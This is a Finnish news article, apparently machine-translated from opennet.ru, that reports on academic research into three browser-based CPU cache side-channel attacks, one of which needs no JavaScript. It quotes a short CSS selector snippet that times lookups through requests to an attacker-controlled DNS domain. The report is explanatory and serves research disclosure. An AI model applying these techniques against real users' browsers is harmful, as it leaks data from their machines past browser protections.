CPU-välimuistin purkuhyökkäys toteutettu verkkoselaimessa ilman JavaScriptiä

Useiden amerikkalaisten, israelilaisten ja australialaisten yliopistojen tutkijoiden ryhmä kehitti kolme hyökkäystä, jotka toimivat verkkoselaimissa ja poimivat tietoja suorittimen välimuistin sisällöstä. Yksi menetelmä toimii selaimissa, joissa ei ole JavaScriptiä, kun taas kaksi muuta ohittavat olemassa olevat menetelmät sivukanavahyökkäyksiltä suojautumiseksi, mukaan lukien Tor-selaimessa ja DeterFoxissa käytetyt menetelmät. Hyökkäysten demonstrointiin tarkoitettu koodi sekä hyökkäyksiin tarvittavat palvelinkomponentit on julkaistu GitHubissa.

Kaikissa hyökkäyksissä käytetään Prime+Probe-menetelmää välimuistin sisällön analysointiin. Tässä menetelmässä välimuisti täytetään viitearvojoukolla ja muutokset havaitaan mittaamalla käyttöaikoja niiden uudelleentäytön yhteydessä. Ohittaakseen selaimen suojausmekanismit, jotka estävät tarkan ajoituksen, kaksi varianttia käyttää hyökkääjän hallitsemaa DNS- tai WebSocket-palvelinta, joka ylläpitää lokia pyyntöajoista. Yksi variantti käyttää kiinteää DNS-vastausaikaa viiteaikana.

Koneoppimiseen perustuvan luokittelujärjestelmän ansiosta ulkoisilla DNS- tai WebSocket-palvelimilla tehdyt mittaukset riittivät ennustamaan arvoja parhaassa tapauksessa jopa 98 %:n tarkkuudella (keskimäärin 80–90 %). Hyökkäysmenetelmiä testattiin useilla eri laitteistoalustoilla (Intel, AMD Ryzen, Apple M1, Samsung Exynos), ja ne osoittautuivat yleisesti sovellettaviksi.

CPU-välimuistin purkuhyökkäys toteutettu verkkoselaimessa ilman JavaScriptiä

Ensimmäinen versio "DNS Racing" -hyökkäyksestä hyödyntää Prime+Probe-metodin klassista toteutusta JavaScript-taulukoiden avulla. Erot ovat ulkoisen DNS-pohjaisen ajastimen ja yhden virheen käsittelijän käytössä. Tämä käsittelijä laukeaa, kun yritetään ladata kuvaa olemattomasta verkkotunnuksesta. Ulkoinen ajastin mahdollistaa Prime+Probe-hyökkäyksen suorittamisen selaimissa, jotka rajoittavat tai estävät kokonaan pääsyn JavaScript-ajastimiin.

Samassa Ethernet-verkossa sijaitsevan DNS-palvelimen ajastimen tarkkuudeksi arvioidaan noin 2 ms, mikä riittää sivukanavahyökkäykseen (vertailun vuoksi Tor-selaimen oletusarvoisen JavaScript-ajastimen tarkkuus on laskenut 100 ms:iin). Hyökkäys ei vaadi DNS-palvelimen hallintaa, koska operaation suoritusaikaa säädetään siten, että DNS-vasteaika ilmaisee tarkistuksen aikaisemman valmistumisen (riippuen siitä, laukaistaanko onerror-käsittelijä aikaisemmin vai myöhemmin, tehdään päätelmä välimuistin tarkistusoperaation nopeudesta).

Toinen hyökkäysmenetelmä, "String and Sock", pyrkii ohittamaan turvatoimet, jotka rajoittavat taulukoiden matalan tason käyttöä JavaScriptissä. Taulukoiden sijaan "String and Sock" hyödyntää toimintoja erittäin suurilla merkkijonoilla, joiden koko valitaan siten, että muuttuja kattaa koko LLC:n (Last Level Cache). Sitten indexOf()-funktion avulla merkkijonosta etsitään pieni alimerkkijono, joka alun perin puuttuu alkuperäisestä merkkijonosta, mikä tarkoittaa, että hakuoperaatio luettelee koko merkkijonon. Koska merkkijonon koko vastaa LLC-välimuistin kokoa, skannaus mahdollistaa välimuistin tarkistuksen ilman taulukoiden käsittelyä. Viiveen mittaamiseksi DNS korvataan kutsulla hyökkääjän hallitsemalle WebSocket-palvelimelle. Pyyntöjä lähetetään ennen hakuoperaatiota ja sen jälkeen, minkä perusteella... palvelin Välimuistin sisällön analysointiin käytetty viive lasketaan.

Kolmas "CSS PP0" -hyökkäyksen muunnelma toteutetaan HTML:n ja CSS:n kautta, ja se voi toimia selaimissa, joissa JavaScript on poistettu käytöstä. Menetelmä on samanlainen kuin "String and Sock", mutta se ei ole sidottu JavaScriptiin. Hyökkäys luo joukon CSS-valitsimia, jotka suorittavat haun maskin perusteella. Välimuistin täyttävä alkuperäinen suuri merkkijono määritetään luomalla div-tagi, jolla on erittäin suuri luokkanimi. Sisälle sijoitetaan joukko muita div-elementtejä, joilla on omat tunnuksensa. Jokaiselle näistä sisäkkäisistä div-elementeistä määritellään oma tyyli valitsimella, joka etsii alimerkkijonoa. Sivua renderöidessään selain yrittää ensin käsitellä sisäiset div-elementit, mikä johtaa hakuoperaatioon suuressa merkkijonossa. Haku suoritetaan ilmeisesti puuttuvalla maskilla, ja se johtaa koko merkkijonon iterointiin, minkä jälkeen "ei"-ehto laukeaa ja yritetään ladata taustakuva, joka viittaa satunnaiseen. verkkotunnuksia: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …

Hyökkääjän DNS-palvelin palvelee aliverkkotunnuksia, ja se voi mitata pyyntöjen vastaanottamisen viiveitä. DNS-palvelin palauttaa NXDOMAIN-arvon kaikista pyynnöistä ja kirjaa pyyntöjen tarkan ajankohdan. Div-joukon käsittely johtaa hyökkääjän DNS-palvelimelle lähetettyyn sarjaan pyyntöjä, joiden väliset viiveet korreloivat välimuistitarkistuksen tulosten kanssa.

CPU-välimuistin purkuhyökkäys toteutettu verkkoselaimessa ilman JavaScriptiä


Lähde: opennet.ru
Osta luotettava isännöinti sivustoille, joissa on DDoS-suojaus, VPS VDS -palvelimet 🔥 Osta luotettavaa verkkosivustojen hostingia DDoS-suojauksella, VPS VDS -palvelimilla | ProHoster